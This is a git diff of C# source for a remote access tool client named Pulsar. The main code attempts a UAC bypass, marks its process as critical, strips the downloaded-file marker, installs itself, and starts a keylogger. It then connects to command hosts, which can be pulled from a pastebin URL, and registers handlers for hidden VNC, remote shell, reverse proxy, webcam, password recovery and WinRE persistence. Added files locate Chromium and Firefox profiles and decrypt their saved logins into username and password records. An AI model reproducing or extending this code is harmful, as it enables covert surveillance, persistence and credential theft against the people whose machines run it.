DeferredAssemblyManager.Initialize(); + + ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX); + + // check if process with same mutex is already running on system + if (!ApplicationMutex.CreatedNew) + Environment.Exit(2); + + Manager.StartAnti(); + + if (Settings.UACBYPASS && !UAC.IsAdministrator()) + { + Debug.WriteLine("Attempting UAC bypass..."); + Bypass.DoUacBypass(); + Environment.Exit(5); + } + + if (Settings.MAKEPROCESSCRITICAL && UAC.IsAdministrator()) + { + Debug.WriteLine("Setting process as critical..."); + NativeMethods.RtlSetProcessIsCritical(1, 0, 0); + } + + FileHelper.DeleteZoneIdentifier(Application.ExecutablePath); + + var installer = new ClientInstaller(); + + if (IsInstallationRequired) + { + // close mutex before installing the client + ApplicationMutex.Dispose(); + + try + { + installer.Install(); + Environment.Exit(3); + } + catch (Exception e) + { + Debug.WriteLine(e); + } + } + else + { + try + { + // (re)apply settings and proceed with connect loop + installer.ApplySettings(); + } + catch (Exception e) + { + Debug.WriteLine(e); + } + + if (Settings.ENABLELOGGER) + { + DeferredAssemblyManager.RunWhenAvailable( + new[] { "Gma.System.MouseKeyHook" }, + () => + { + try + { + if (_keyloggerService != null) + { + return; + } + + if (!DeferredAssemblyManager.TryEnsureAssembliesLoaded("Gma.System.MouseKeyHook")) + { + Debug.WriteLine("Keylogger dependencies not yet available; deferring start."); + return; + } + + _keyloggerService = new KeyloggerService(); + _keyloggerService.Start(); + } + catch (Exception ex) + { + Debug.WriteLine($"Failed to start keylogger: {ex.Message}"); + } + }); + } + + PulsarClient client; + string hosts = Settings.HOSTS; + + if (Settings.PASTEBIN && + (hosts.StartsWith("http://", StringComparison.OrdinalIgnoreCase) || + hosts.StartsWith("https://", StringComparison.OrdinalIgnoreCase))) + { + Debug.WriteLine("Using pastebin mode with URL: " + hosts); + var hostsManager = new HostsManager(hosts); + client = new PulsarClient(hostsManager, Settings.SERVERCERTIFICATE); + } + else + { + Debug.WriteLine("Using standard host list mode"); + var hostsList = new HostsConverter().RawHostsToList(hosts); + var hostsManager = new HostsManager(hostsList); + client = new PulsarClient(hostsManager, Settings.SERVERCERTIFICATE); + } + + _connectClient = client; + _connectClient.ClientState += ConnectClientOnClientState; + InitializeMessageProcessors(_connectClient); + + _userActivityDetection = new ActivityDetection(_connectClient); + _userActivityDetection.Start(); + + _activeWindowChecker = new ActiveWindowChecker(_connectClient); + _clipboardChecker = new ClipboardChecker(_connectClient); + UniversalDebugLogger.Initialize(_connectClient); + _debugLog = new DebugLog(); + + new Thread(() => + { + // Start connection loop on new thread and dispose application once client exits. + // This is required to keep the UI thread responsive and run the message loop. + _connectClient.ConnectLoop(); + Environment.Exit(0); + }).Start(); + } + } + + [System.Runtime.CompilerServices.MethodImpl( + System.Runtime.CompilerServices.MethodImplOptions.NoInlining | + System.Runtime.CompilerServices.MethodImplOptions.NoOptimization)] + private void ConnectClientOnClientState(Networking.Client s, bool connected) + { + if (connected) + { + _notifyIcon.Text = "Pulsar Client\nConnection established"; + + string currentWindowTitle = GetCurrentWindowTitle(); + _connectClient.Send(new SetUserActiveWindowStatus { WindowTitle = currentWindowTitle }); + } + else + _notifyIcon.Text = "Pulsar Client\nNo connection"; + } + + /// + /// Gets the title of the currently active window. + /// + /// The title of the active window. + private string GetCurrentWindowTitle() + { + const int nChars = 256; + StringBuilder buff = new StringBuilder(nChars); + IntPtr handle = NativeMethods.GetForegroundWindow(); + + if (NativeMethods.GetWindowText(handle, buff, nChars) > 0) + { + return buff.ToString(); + } + return null; + } + + /// + /// Adds all message processors to and registers them in the . + /// + /// The client which handles the connection. + /// Always initialize from UI thread. + private void InitializeMessageProcessors(PulsarClient client) + { + RegisterProcessor(new DeferredAssemblyHandler()); + RegisterProcessor(new CommandHandler()); + + RegisterProcessor(new PreviewHandler()); + RegisterProcessor(new PingHandler()); + RegisterProcessor(new QuickCommandHandler()); + RegisterProcessor(new HVNCHandler()); + RegisterProcessor(new ClientServicesHandler(this, client)); + RegisterProcessor(new FileManagerHandler(client)); + RegisterProcessor(new KeyloggerHandler()); + RegisterProcessor(new MessageBoxHandler()); + RegisterProcessor(new ClipboardHandler()); + RegisterProcessor(new FunStuffHandler()); + RegisterProcessor(new PasswordRecoveryHandler()); + RegisterProcessor(new RegistryHandler()); + RegisterProcessor(new RemoteShellHandler(client)); + RegisterProcessor(new ReverseProxyHandler(client)); + RegisterProcessor(new ShutdownHandler()); + RegisterProcessor(new StartupManagerHandler()); + RegisterProcessor(new SystemInformationHandler()); + RegisterProcessor(new TaskManagerHandler(client)); + RegisterProcessor(new TcpConnectionsHandler()); + RegisterProcessor(new WebsiteVisitorHandler()); + RegisterProcessor(new RemoteScriptingHandler()); + RegisterProcessor(new RemoteChatHandler()); + RegisterProcessor(new WinREPersistenceHandler()); + + ScheduleDeferredMessageProcessors(client); + } + + private void RegisterProcessor(IMessageProcessor processor) + { + if (processor == null) + { + return; + } + + bool shouldRegister; + lock (_messageProcessors) + { + shouldRegister = !_messageProcessors.Contains(processor); + if (shouldRegister) + { + _messageProcessors.Add(processor); + } + } + + if (shouldRegister) + { + MessageHandler.Register(processor); + } + } + + private void ScheduleDeferredMessageProcessors(PulsarClient client) + { + DeferredAssemblyManager.RunWhenAvailable( + DeferredAssemblyManager.SecondaryAssemblies, + () => + { + Action registerAction = () => RegisterDeferredMessageProcessors(client); + + try + { + if (InvokeRequired) + { + BeginInvoke((Action)registerAction); + } + else + { + registerAction(); + } + } + catch (Exception ex) + { + Debug.WriteLine($"Failed to schedule deferred message processors: {ex.Message}"); + } + }); + } + + private void RegisterDeferredMessageProcessors(PulsarClient client) + { + if (_deferredProcessorsRegistered) + { + return; + } + + _deferredProcessorsRegistered = true; + + try + { + DeferredAssemblyManager.TryEnsureAssembliesLoaded(SharpDxAssemblies); + DeferredAssemblyManager.TryEnsureAssembliesLoaded(WebcamAssemblies); + DeferredAssemblyManager.TryEnsureAssembliesLoaded(AudioAssemblies); + } + catch (Exception ex) + { + Debug.WriteLine($"Deferred assembly load error: {ex.Message}"); + } + + RegisterProcessor(new RemoteDesktopHandler()); + RegisterProcessor(new RemoteWebcamHandler()); + RegisterProcessor(new AudioHandler()); + RegisterProcessor(new AudioOutputHandler()); + } + + /// + /// Disposes all message processors of and unregisters them from the . + /// + private void CleanupMessageProcessors() + { + List processorsCopy; + + lock (_messageProcessors) + { + processorsCopy = new List(_messageProcessors); + _messageProcessors.Clear(); + } + + foreach (var msgProc in processorsCopy) + { + MessageHandler.Unregister(msgProc); + if (msgProc is IDisposable disposableMsgProc) + { + disposableMsgProc.Dispose(); + } + } + } + + protected override void Dispose(bool disposing) + { + if (disposing) + { + CleanupMessageProcessors(); + _keyloggerService?.Dispose(); + _userActivityDetection?.Dispose(); + ApplicationMutex?.Dispose(); + _connectClient?.Dispose(); + _notifyIcon.Visible = false; + _notifyIcon.Dispose(); + _debugLog?.Dispose(); // Dispose DebugLog + } + base.Dispose(disposing); + } + } +} diff --git a/Pulsar.Client/Recovery/.DS_Store b/Pulsar.Client/Recovery/.DS_Store new file mode 100644 index 0000000..c87a667 Binary files /dev/null and b/Pulsar.Client/Recovery/.DS_Store differ diff --git a/Pulsar.Client/Recovery/Browsers/ChromiumBase.cs b/Pulsar.Client/Recovery/Browsers/ChromiumBase.cs new file mode 100644 index 0000000..e380241 --- /dev/null +++ b/Pulsar.Client/Recovery/Browsers/ChromiumBase.cs @@ -0,0 +1,94 @@ +using Pulsar.Client.Recovery.Utilities; +using Pulsar.Common.Models; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; + +namespace Pulsar.Client.Recovery.Browsers +{ + /// + /// Provides basic account recovery capabilities from chromium-based applications. + /// + public class ChromiumBase + { + + /// + /// Reads the stored accounts of an chromium-based application. + /// + /// The file path of the logins database. + /// The file path to the local state. + /// A list of recovered accounts. + public static List ReadAccounts(string filePath, string localStatePath, string appName) + { + var result = new List(); + + if (appName == "Local") + { + return result; + } + + Debug.WriteLine(filePath); + Debug.WriteLine(localStatePath); + Debug.WriteLine(appName); + + if (File.Exists(filePath)) + { + SQLiteHandler sqlDatabase; + + if (!File.Exists(filePath)) + return result; + + var decryptor = new ChromiumDecryptor(localStatePath); + + try + { + sqlDatabase = new SQLiteHandler(filePath); + } + catch (Exception) + { + return result; + } + + if (!sqlDatabase.ReadTable("logins")) + return result; + + for (int i = 0; i < sqlDatabase.GetRowCount(); i++) + { + try + { + + var host = sqlDatabase.GetValue(i, "origin_url"); + //Debug.WriteLine(host); + var user = sqlDatabase.GetValue(i, "username_value"); + //Debug.WriteLine(user); + var value = decryptor.Decrypt(sqlDatabase.GetValue(i, "password_value")); + //Debug.WriteLine(value); + + if (string.IsNullOrEmpty(host) || string.IsNullOrEmpty(user) || string.IsNullOrEmpty(value)) + continue; + + result.Add(new RecoveredAccount + { + Url = host, + Username = user, + Password = value, + Application = appName + }); + + } + catch (Exception e) + { + Debug.WriteLine(e); + } + } + } + else + { + throw new FileNotFoundException("Can not find chromium logins file"); + } + + return result; + } + } +} diff --git a/Pulsar.Client/Recovery/Browsers/ChromiumDecryptor.cs b/Pulsar.Client/Recovery/Browsers/ChromiumDecryptor.cs new file mode 100644 index 0000000..9fd9be8 --- /dev/null +++ b/Pulsar.Client/Recovery/Browsers/ChromiumDecryptor.cs @@ -0,0 +1,116 @@ +using Pulsar.Client.Recovery.Utilities; +using System; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; + +namespace Pulsar.Client.Recovery.Browsers +{ + /// + /// Provides methods to decrypt Chromium credentials. + /// + public class ChromiumDecryptor + { + private readonly byte[] _key; + + public ChromiumDecryptor(string localStatePath) + { + try + { + if (localStatePath.Contains("AppData\\Local\\Application Data\\User Data")) + { + return; + } + + if (File.Exists(localStatePath)) + { + string localState = File.ReadAllText(localStatePath); + + var startIndex = localState.IndexOf("\"encrypted_key\"") + "\"encrypted_key\"".Length + 2; + var endIndex = localState.IndexOf('"', startIndex + 1); + var encKeyStr = localState.Substring(startIndex, endIndex - startIndex); + + try + { + _key = ProtectedData.Unprotect(Convert.FromBase64String(encKeyStr).Skip(5).ToArray(), null, + DataProtectionScope.CurrentUser); + } + catch (Exception e) + { + Debug.WriteLine(localStatePath); + Debug.WriteLine(e); + Debug.WriteLine("Failed to decrypt the key. Ensure you have the correct local state file."); + return; + } + } + } + catch (Exception e) + { + Debug.WriteLine(e); + } + } + + public string Decrypt(string cipherText) + { + try + { + if (string.IsNullOrEmpty(cipherText)) + return ""; + + var cipherTextBytes = Encoding.Default.GetBytes(cipherText); + + var initialisationVector = cipherTextBytes.Skip(3).Take(12).ToArray(); + var encryptedData = cipherTextBytes.Skip(15).ToArray(); + + // Separate the actual encrypted data from the auth tag + var actualEncryptedData = encryptedData.Take(encryptedData.Length - 16).ToArray(); + var authTag = encryptedData.Skip(encryptedData.Length - 16).ToArray(); + + var decryptedPassword = DecryptAesGcm(actualEncryptedData, _key, initialisationVector, authTag); + + if (decryptedPassword == null || decryptedPassword.Length == 0) + return ""; + + return Encoding.UTF8.GetString(decryptedPassword); + } + catch (Exception e) + { + Debug.WriteLine(e); + return ""; + } + } + + private byte[] DecryptAesGcm(byte[] encryptedPassword, byte[] key, byte[] nonce, byte[] authTag) + { + const int KEY_BIT_SIZE = 256; + + if (key == null || key.Length != KEY_BIT_SIZE / 8) + { + Debug.WriteLine("Key is null or invalid length!"); + return null; + } + if (encryptedPassword == null || encryptedPassword.Length == 0) + { + Debug.WriteLine("Encrypted password is empty!"); + return null; + } + + + AesGcmBetter AES = new AesGcmBetter(); + var output = new byte[0]; + + try + { + output = AES.Decrypt(key, nonce, null, encryptedPassword, authTag); + } + catch (Exception e) + { + Debug.WriteLine(e); + return null; + } + return output; + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Recovery/Browsers/FFDecryptor.cs b/Pulsar.Client/Recovery/Browsers/FFDecryptor.cs new file mode 100644 index 0000000..dc8cf70 --- /dev/null +++ b/Pulsar.Client/Recovery/Browsers/FFDecryptor.cs @@ -0,0 +1,116 @@ +using Pulsar.Client.Utilities; +using System; +using System.IO; +using System.Runtime.InteropServices; +using System.Text; + +namespace Pulsar.Client.Recovery.Browsers +{ + /// + /// Provides methods to decrypt Firefox credentials. + /// + public class FFDecryptor : IDisposable + { + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate long NssInit(string configDirectory); + + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate long NssShutdown(); + + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate int Pk11sdrDecrypt(ref TSECItem data, ref TSECItem result, int cx); + + private NssInit NSS_Init; + + private NssShutdown NSS_Shutdown; + + private Pk11sdrDecrypt PK11SDR_Decrypt; + + private IntPtr NSS3; + private IntPtr Mozglue; + + public long Init(string configDirectory) + { + string mozillaPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), @"Mozilla Firefox\"); + Mozglue = NativeMethods.LoadLibrary(Path.Combine(mozillaPath, "mozglue.dll")); + NSS3 = NativeMethods.LoadLibrary(Path.Combine(mozillaPath, "nss3.dll")); + IntPtr initProc = NativeMethods.GetProcAddress(NSS3, "NSS_Init"); + IntPtr shutdownProc = NativeMethods.GetProcAddress(NSS3, "NSS_Shutdown"); + IntPtr decryptProc = NativeMethods.GetProcAddress(NSS3, "PK11SDR_Decrypt"); + NSS_Init = (NssInit)Marshal.GetDelegateForFunctionPointer(initProc, typeof(NssInit)); + PK11SDR_Decrypt = (Pk11sdrDecrypt)Marshal.GetDelegateForFunctionPointer(decryptProc, typeof(Pk11sdrDecrypt)); + NSS_Shutdown = (NssShutdown)Marshal.GetDelegateForFunctionPointer(shutdownProc, typeof(NssShutdown)); + return NSS_Init(configDirectory); + } + + public string Decrypt(string cypherText) + { + IntPtr ffDataUnmanagedPointer = IntPtr.Zero; + StringBuilder sb = new StringBuilder(cypherText); + + try + { + byte[] ffData = Convert.FromBase64String(cypherText); + + ffDataUnmanagedPointer = Marshal.AllocHGlobal(ffData.Length); + Marshal.Copy(ffData, 0, ffDataUnmanagedPointer, ffData.Length); + + TSECItem tSecDec = new TSECItem(); + TSECItem item = new TSECItem(); + item.SECItemType = 0; + item.SECItemData = ffDataUnmanagedPointer; + item.SECItemLen = ffData.Length; + + if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0) + { + if (tSecDec.SECItemLen != 0) + { + byte[] bvRet = new byte[tSecDec.SECItemLen]; + Marshal.Copy(tSecDec.SECItemData, bvRet, 0, tSecDec.SECItemLen); + return Encoding.ASCII.GetString(bvRet); + } + } + } + catch (Exception) + { + return null; + } + finally + { + if (ffDataUnmanagedPointer != IntPtr.Zero) + { + Marshal.FreeHGlobal(ffDataUnmanagedPointer); + } + } + + return null; + } + + [StructLayout(LayoutKind.Sequential)] + public struct TSECItem + { + public int SECItemType; + public IntPtr SECItemData; + public int SECItemLen; + } + + /// + /// Disposes all managed and unmanaged resources associated with this class. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + NSS_Shutdown(); + NativeMethods.FreeLibrary(NSS3); + NativeMethods.FreeLibrary(Mozglue); + } + } + } +} diff --git a/Pulsar.Client/Recovery/Browsers/FirefoxPassReader.cs b/Pulsar.Client/Recovery/Browsers/FirefoxPassReader.cs new file mode 100644 index 0000000..bdd7a33 --- /dev/null +++ b/Pulsar.Client/Recovery/Browsers/FirefoxPassReader.cs @@ -0,0 +1,198 @@ +using Pulsar.Client.Helper; +using Pulsar.Client.Recovery.Utilities; +using Pulsar.Common.Models; +using SharpDX.Direct3D11; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Runtime.Serialization; + +namespace Pulsar.Client.Recovery.Browsers +{ + public class FirefoxPassReader + { + + /// + public static List ReadAccounts(string profiles, string name) + { + string[] dirs = Directory.GetDirectories(profiles); + + var logins = new List(); + if (dirs.Length == 0) + return logins; + + foreach (string dir in dirs) + { + string signonsFile = string.Empty; + string loginsFile = string.Empty; + bool signonsFound = false; + bool loginsFound = false; + + string[] files = Directory.GetFiles(dir, "signons.sqlite"); + if (files.Length > 0) + { + signonsFile = files[0]; + signonsFound = true; + } + + files = Directory.GetFiles(dir, "logins.json"); + if (files.Length > 0) + { + loginsFile = files[0]; + loginsFound = true; + } + + if (loginsFound || signonsFound) + { + using (var decrypter = new FFDecryptor()) + { + var r = decrypter.Init(dir); + if (signonsFound) + { + SQLiteHandler sqlDatabase; + + if (!File.Exists(signonsFile)) + return logins; + + try + { + sqlDatabase = new SQLiteHandler(signonsFile); + } + catch (Exception) + { + return logins; + } + + + if (!sqlDatabase.ReadTable("moz_logins")) + return logins; + + for (int i = 0; i < sqlDatabase.GetRowCount(); i++) + { + try + { + var host = sqlDatabase.GetValue(i, "hostname"); + var user = decrypter.Decrypt(sqlDatabase.GetValue(i, "encryptedUsername")); + var pass = decrypter.Decrypt(sqlDatabase.GetValue(i, "encryptedPassword")); + + if (!string.IsNullOrEmpty(host) && !string.IsNullOrEmpty(user)) + { + logins.Add(new RecoveredAccount + { + Url = host, + Username = user, + Password = pass, + Application = name + }); + } + } + catch (Exception) + { + // ignore invalid entry + } + } + } + + if (loginsFound) + { + FFLogins ffLoginData; + using (var sr = File.OpenRead(loginsFile)) + { + ffLoginData = JsonHelper.Deserialize(sr); + } + + foreach (Login loginData in ffLoginData.Logins) + { + string username = decrypter.Decrypt(loginData.EncryptedUsername); + string password = decrypter.Decrypt(loginData.EncryptedPassword); + logins.Add(new RecoveredAccount + { + Username = username, + Password = password, + Url = loginData.Hostname.ToString(), + Application = name + }); + } + } + } + } + + } + + return logins; + } + + [DataContract] + private class FFLogins + { + [DataMember(Name = "nextId")] + public long NextId { get; set; } + + [DataMember(Name = "logins")] + public Login[] Logins { get; set; } + + [IgnoreDataMember] + [DataMember(Name = "potentiallyVulnerablePasswords")] + public object[] PotentiallyVulnerablePasswords { get; set; } + + [IgnoreDataMember] + [DataMember(Name = "dismissedBreachAlertsByLoginGUID")] + public DismissedBreachAlertsByLoginGuid DismissedBreachAlertsByLoginGuid { get; set; } + + [DataMember(Name = "version")] + public long Version { get; set; } + } + + [DataContract] + private class DismissedBreachAlertsByLoginGuid + { + } + + [DataContract] + private class Login + { + [DataMember(Name = "id")] + public long Id { get; set; } + + [DataMember(Name = "hostname")] + public Uri Hostname { get; set; } + + [DataMember(Name = "httpRealm")] + public object HttpRealm { get; set; } + + [DataMember(Name = "formSubmitURL")] + public Uri FormSubmitUrl { get; set; } + + [DataMember(Name = "usernameField")] + public string UsernameField { get; set; } + + [DataMember(Name = "passwordField")] + public string PasswordField { get; set; } + + [DataMember(Name = "encryptedUsername")] + public string EncryptedUsername { get; set; } + + [DataMember(Name = "encryptedPassword")] + public string EncryptedPassword { get; set; } + + [DataMember(Name = "guid")] + public string Guid { get; set; } + + [DataMember(Name = "encType")] + public long EncType { get; set; } + + [DataMember(Name = "timeCreated")] + public long TimeCreated { get; set; } + + [DataMember(Name = "timeLastUsed")] + public long TimeLastUsed { get; set; } + + [DataMember(Name = "timePasswordChanged")] + public long TimePasswordChanged { get; set; } + + [DataMember(Name = "timesUsed")] + public long TimesUsed { get; set; } + } + } +} diff --git a/Pulsar.Client/Recovery/Browsers/Structs.cs b/Pulsar.Client/Recovery/Browsers/Structs.cs new file mode 100644 index 0000000..0ffa190 --- /dev/null +++ b/Pulsar.Client/Recovery/Browsers/Structs.cs @@ -0,0 +1,37 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Pulsar.Client.Recovery.Browsers +{ + public struct AllBrowsers + { + public BrowserChromium[] Chromium; + public BrowserGecko[] Gecko; + } + public struct BrowserChromium + { + public string Name; + public string Path; + public string LocalState; + public ProfileChromium[] Profiles; + } + + public struct ProfileChromium + { + public string Name; + public string LoginData; + public string Path; + } + + public struct BrowserGecko + { + public string Name; + public string Path; + public string Key4; + public string Logins; + public string ProfilesDir; + } +} diff --git a/Pulsar.Client/Recovery/Crawler/Crawl.cs b/Pulsar.Client/Recovery/Crawler/Crawl.cs new file mode 100644 index 0000000..6a35dcb --- /dev/null +++ b/Pulsar.Client/Recovery/Crawler/Crawl.cs @@ -0,0 +1,217 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Threading.Tasks; +using Pulsar.Client.Recovery.Browsers; + +namespace Pulsar.Client.Recovery.Crawler +{ + public class Crawl + { + private static readonly string[] knownBrowserPaths = { + @"Opera", + @"Opera Software\Opera GX Stable", + }; + + private static string localAppData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); + private static string appData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); + private static List foundChromiumBrowsers = new List(); + private static List foundGeckoBrowsers = new List(); + + public static List Start() + { + foundChromiumBrowsers.Clear(); + foundGeckoBrowsers.Clear(); + + string[] rootDirs = { localAppData, appData }; + + Parallel.ForEach(rootDirs, rootDir => + { + if (Directory.Exists(rootDir)) + { + SearchDirectory(rootDir, foundChromiumBrowsers, foundGeckoBrowsers, rootDir == appData); + } + }); + + CheckForKnownBrowsers(); + + return new List + { + new AllBrowsers + { + Chromium = foundChromiumBrowsers.ToArray(), + Gecko = foundGeckoBrowsers.ToArray() + } + }; + } + + private static void SearchDirectory(string directory, List foundChromiumBrowsers, List foundGeckoBrowsers, bool isRoaming, int depth = 0) + { + if (depth > 3) return; + + try + { + CheckForBrowser(directory, foundChromiumBrowsers, foundGeckoBrowsers, isRoaming); + + var subDirs = Directory.GetDirectories(directory); + Parallel.ForEach(subDirs, dir => + { + SearchDirectory(dir, foundChromiumBrowsers, foundGeckoBrowsers, isRoaming, depth + 1); + }); + } + catch (Exception) + { + return; + } + } + + private static void CheckForBrowser(string path, List foundChromiumBrowsers, List foundGeckoBrowsers, bool isRoaming) + { + try + { + string userDataPath = Path.Combine(path, "User Data"); + string localStatePath = Path.Combine(userDataPath, "Local State"); + + if (Directory.Exists(userDataPath) && File.Exists(localStatePath)) + { + List profiles = new List(); + + string defaultProfile = Path.Combine(userDataPath, "Default"); + if (Directory.Exists(defaultProfile)) + { + string loginDataPath = Path.Combine(defaultProfile, "Login Data"); + if (File.Exists(loginDataPath)) + { + profiles.Add(new ProfileChromium + { + Name = "Default", + LoginData = loginDataPath, + Path = defaultProfile + }); + } + } + + var profileDirs = Directory.GetDirectories(userDataPath) + .Where(dir => Path.GetFileName(dir).StartsWith("Profile ")) + .Select(dir => Path.GetFileName(dir)); + + foreach (var profile in profileDirs) + { + string profilePath = Path.Combine(userDataPath, profile); + string loginDataPath = Path.Combine(profilePath, "Login Data"); + if (File.Exists(loginDataPath)) + { + profiles.Add(new ProfileChromium + { + Name = profile, + LoginData = loginDataPath, + Path = profilePath + }); + } + } + + if (profiles.Count > 0) + { + lock (foundChromiumBrowsers) + { + foundChromiumBrowsers.Add(new BrowserChromium + { + Name = Path.GetFileName(path), + LocalState = localStatePath, + Path = path, + Profiles = profiles.ToArray() + }); + } + } + } + + if (isRoaming) + { + string profilesPath = Path.Combine(path, "Profiles"); + if (Directory.Exists(profilesPath)) + { + List profiles = Directory.GetDirectories(profilesPath) + .Select(Path.GetFileName) + .Where(name => name.Contains(".default-")) + .ToList(); + + if (profiles.Count > 0) + { + string browserName = Directory.GetParent(path)?.Name + "\\" + Path.GetFileName(path); + lock (foundGeckoBrowsers) + { + foundGeckoBrowsers.Add(new BrowserGecko + { + Name = browserName, + Path = path, + Key4 = Path.Combine(path, "key4.db"), + Logins = Path.Combine(path, "logins.json"), + ProfilesDir = profilesPath + }); + } + } + } + } + } + catch (Exception) + { + return; + } + } + + private static void CheckForKnownBrowsers() + { + foreach (var knownPath in knownBrowserPaths) + { + string fullPath = Path.Combine(appData, knownPath); + if (Directory.Exists(fullPath)) + { + if (knownPath.Contains("Opera")) + { + CheckForOperaBrowser(fullPath); + } + else + { + CheckForBrowser(fullPath, foundChromiumBrowsers, foundGeckoBrowsers, false); + } + } + } + } + + private static void CheckForOperaBrowser(string path) + { + try + { + string loginDataPath = Path.Combine(path, "Login Data"); + if (File.Exists(loginDataPath)) + { + var profiles = new List + { + new ProfileChromium + { + Name = "Default", + LoginData = loginDataPath, + Path = path + } + }; + + lock (foundChromiumBrowsers) + { + foundChromiumBrowsers.Add(new BrowserChromium + { + Name = "Opera", + LocalState = Path.Combine(path, "Local State"), + Path = path, + Profiles = profiles.ToArray() + }); + } + } + } + catch (Exception) + { + return; + } + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Recovery/Utilities/BCrypt.cs b/Pulsar.Client/Recovery/Utilities/BCrypt.cs new file mode 100644 index 0000000..4b9cf7d --- /dev/null +++ b/Pulsar.Client/Recovery/Utilities/BCrypt.cs @@ -0,0 +1,175 @@ +using System; +using System.Runtime.InteropServices; + +namespace Pulsar.Client.Recovery.Utilities +{ + public static class BCrypt + { + public const uint ERROR_SUCCESS = 0x00000000; + public const uint BCRYPT_PAD_PSS = 8; + public const uint BCRYPT_PAD_OAEP = 4; + + public static readonly byte[] BCRYPT_KEY_DATA_BLOB_MAGIC = BitConverter.GetBytes(0x4d42444b); + + public static readonly string BCRYPT_OBJECT_LENGTH = "ObjectLength"; + public static readonly string BCRYPT_CHAIN_MODE_GCM = "ChainingModeGCM"; + public static readonly string BCRYPT_AUTH_TAG_LENGTH = "AuthTagLength"; + public static readonly string BCRYPT_CHAINING_MODE = "ChainingMode"; + public static readonly string BCRYPT_KEY_DATA_BLOB = "KeyDataBlob"; + public static readonly string BCRYPT_AES_ALGORITHM = "AES"; + + public static readonly string MS_PRIMITIVE_PROVIDER = "Microsoft Primitive Provider"; + + public static readonly int BCRYPT_AUTH_MODE_CHAIN_CALLS_FLAG = 0x00000001; + public static readonly int BCRYPT_INIT_AUTH_MODE_INFO_VERSION = 0x00000001; + + public static readonly uint STATUS_AUTH_TAG_MISMATCH = 0xC000A002; + + [StructLayout(LayoutKind.Sequential)] + public struct BCRYPT_PSS_PADDING_INFO + { + public BCRYPT_PSS_PADDING_INFO(string pszAlgId, int cbSalt) + { + this.pszAlgId = pszAlgId; + this.cbSalt = cbSalt; + } + + [MarshalAs(UnmanagedType.LPWStr)] + public string pszAlgId; + public int cbSalt; + } + + [StructLayout(LayoutKind.Sequential)] + public struct BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO : IDisposable + { + public int cbSize; + public int dwInfoVersion; + public IntPtr pbNonce; + public int cbNonce; + public IntPtr pbAuthData; + public int cbAuthData; + public IntPtr pbTag; + public int cbTag; + public IntPtr pbMacContext; + public int cbMacContext; + public int cbAAD; + public long cbData; + public int dwFlags; + + public BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(byte[] iv, byte[] aad, byte[] tag) : this() + { + dwInfoVersion = BCRYPT_INIT_AUTH_MODE_INFO_VERSION; + cbSize = Marshal.SizeOf(typeof(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO)); + + if (iv != null) + { + cbNonce = iv.Length; + pbNonce = Marshal.AllocHGlobal(cbNonce); + Marshal.Copy(iv, 0, pbNonce, cbNonce); + } + + if (aad != null) + { + cbAuthData = aad.Length; + pbAuthData = Marshal.AllocHGlobal(cbAuthData); + Marshal.Copy(aad, 0, pbAuthData, cbAuthData); + } + + if (tag != null) + { + cbTag = tag.Length; + pbTag = Marshal.AllocHGlobal(cbTag); + Marshal.Copy(tag, 0, pbTag, cbTag); + + cbMacContext = tag.Length; + pbMacContext = Marshal.AllocHGlobal(cbMacContext); + } + } + + public void Dispose() + { + if (pbNonce != IntPtr.Zero) Marshal.FreeHGlobal(pbNonce); + if (pbTag != IntPtr.Zero) Marshal.FreeHGlobal(pbTag); + if (pbAuthData != IntPtr.Zero) Marshal.FreeHGlobal(pbAuthData); + if (pbMacContext != IntPtr.Zero) Marshal.FreeHGlobal(pbMacContext); + } + } + + [StructLayout(LayoutKind.Sequential)] + public struct BCRYPT_KEY_LENGTHS_STRUCT + { + public int dwMinLength; + public int dwMaxLength; + public int dwIncrement; + } + + [StructLayout(LayoutKind.Sequential)] + public struct BCRYPT_OAEP_PADDING_INFO + { + public BCRYPT_OAEP_PADDING_INFO(string alg) + { + pszAlgId = alg; + pbLabel = IntPtr.Zero; + cbLabel = 0; + } + + [MarshalAs(UnmanagedType.LPWStr)] + public string pszAlgId; + public IntPtr pbLabel; + public int cbLabel; + } + + [DllImport("bcrypt.dll")] + public static extern uint BCryptOpenAlgorithmProvider(out IntPtr phAlgorithm, + [MarshalAs(UnmanagedType.LPWStr)] string pszAlgId, + [MarshalAs(UnmanagedType.LPWStr)] string pszImplementation, + uint dwFlags); + + [DllImport("bcrypt.dll")] + public static extern uint BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint flags); + + [DllImport("bcrypt.dll", EntryPoint = "BCryptGetProperty")] + public static extern uint BCryptGetProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbOutput, int cbOutput, ref int pcbResult, uint flags); + + [DllImport("bcrypt.dll", EntryPoint = "BCryptSetProperty")] + internal static extern uint BCryptSetAlgorithmProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, int dwFlags); + + + [DllImport("bcrypt.dll")] + public static extern uint BCryptImportKey(IntPtr hAlgorithm, + IntPtr hImportKey, + [MarshalAs(UnmanagedType.LPWStr)] string pszBlobType, + out IntPtr phKey, + IntPtr pbKeyObject, + int cbKeyObject, + byte[] pbInput, //blob of type BCRYPT_KEY_DATA_BLOB + raw key data = (dwMagic (4 bytes) | uint dwVersion (4 bytes) | cbKeyData (4 bytes) | data) + int cbInput, + uint dwFlags); + + 